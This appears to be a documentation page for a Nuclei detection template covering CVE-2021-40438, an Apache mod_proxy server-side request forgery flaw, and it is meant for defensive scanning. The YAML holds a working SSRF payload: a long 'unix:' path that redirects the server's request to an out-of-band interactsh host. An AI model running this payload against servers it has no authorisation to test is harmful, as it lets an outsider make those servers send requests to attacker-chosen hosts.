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Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery

ID: CVE-2021-40438

Severity: critical

Author: pdteam

Tags: cve2021,cve,ssrf,apache,mod-proxy,kev

Description

Section titled “Description”

Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.

YAML Source

Section titled “YAML Source”
id: CVE-2021-40438


info:
  name: Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery
  author: pdteam
  severity: critical
  description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
  remediation: Upgrade to Apache version 2.4.49 or later.
  reference:
    - https://firzen.de/building-a-poc-for-cve-2021-40438
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40438
    - https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
    - https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9
    cve-id: CVE-2021-40438
    cwe-id: CWE-918
    epss-score: 0.97446
    epss-percentile: 0.99948
    cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: http_server
    shodan-query:
      - cpe:"cpe:2.3:a:apache:http_server"
      - apache 2.4.49
  tags: cve2021,cve,ssrf,apache,mod-proxy,kev


http:
  - method: GET
    path:
      - '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}/'


    host-redirects: true
    max-redirects: 2


    matchers:
      - type: dsl
        dsl:
          - 'contains_all(header, "X-Interactsh-Version", "Server: oast")'
          - "!contains(body, '<h1> Interactsh Server </h1>')"
        condition: and
# digest: 490a0046304402205c010401532b08547e6dee53a318a8ce5038726fbd85d989bc85de2b3c99264a02204dbd96259cb3fad300a54e06ed99eabf313c0e510afad8750d515628088ec6d8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-40438.yaml"

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